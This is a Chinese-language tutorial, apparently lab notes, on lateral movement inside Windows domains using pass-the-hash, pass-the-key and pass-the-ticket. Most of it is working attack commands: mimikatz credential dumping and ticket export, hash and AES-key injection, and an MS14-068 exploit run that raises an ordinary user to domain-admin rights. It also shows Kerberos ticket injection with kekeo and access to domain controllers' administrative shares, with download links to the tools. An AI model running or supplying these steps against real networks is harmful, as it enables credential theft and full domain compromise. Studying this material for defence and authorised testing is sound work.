0x01.前提知识
1.pth
PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试
PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于安装补丁 kb2871997的Win 7/2008r2/8/2012 等,可以使用 AES keys代替 NT hash 来实现 ptk 攻击
总结:KB2871997 补丁后的影响
pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接
ptk:打了补丁才能用户都可以连接,采用 aes256 连接
2.ptk
PTK(pass the key) #利用的ekeys aes256进行的渗透测试
攻击方式同PTH,只是打了补丁后将NTML值换成aes256加密的值
3.ptt
PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
0x02.域横向移动PTH NTML传递
PTH ntlm 传递
未打补丁下的工作组及域连接
# mimikatz 命令
privilege::debug // #提升权限
sekurlsa::logonPasswords // #抓取密码
sekurlsa::pth /user:administrator /domain:tencent /ntlm:2baaefbdd1ee80755b986ee93a8848b2
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
# 域内
sekurlsa::pth /user:boss /domain:tencent /ntlm:ccef208c6485269c20db2cad21734fe7
# 上面反弹回来shell 查看域控的d盘信息
dir \\WIN-83V1721VG9V.tencent.com\d$ // 连接使用ip/域名都可以
0x03.域横向移动PTK aes256传递
打KB2871997
补丁后的工作组及域连接
# mimikatz 命令
privilege::debug // 提升权限
sekurlsa::ekeys // 获取aes
sekurlsa::pth /user:administrator /domain:tencent /aes256:f305f03562f81f7847f17bcf9477cce414fb47e4271763cf9078cc2566316e0f
0x04.域横向移动PTT哈希票据传递-ms14068&kekeo&本地
1.MS14-068漏洞
能实现普通用户直接获取域控system权限
1.查看当前sid
whoami/user
2.清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造(不需要system权限)
kerberos::purge // 清空当前机器中所有凭证或者cmd下 klist purge
kerberos::list // 查看当前机器凭证
kerberos::ptc 票据文件 // 将票据注入到内存中
3.利用ms14-068生成TGT数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票据注入内存
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5.查看凭证列表
klist
6.利用
dir \\192.168.3.21\c$
# 本质就是生成一个合法的连接请求 , 用mimikatz导入到内存中
MS14-068下载:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
2.kekeo
下载地址 : https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20210723
1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用net use载入
dir \\192.168.3.21\c$
3.利用本地票据(需管理权限)
这种方式是猜测当前电脑连接过域控,并且连接时长没有超过票据的过期时间(10小时 )
# mimikatz 命令
privilege::debug // 提升权限
sekurlsa::tickets /export // 导出本地所有票据
kerberos::ptt xxxxxxxxxx.xxxx.kirbi // 导入票据
dir \\192.168.3.21\c$ // 利用
0x05 开源内网神器Ladon
Ladon使用:https://github.com/k8gege/Ladon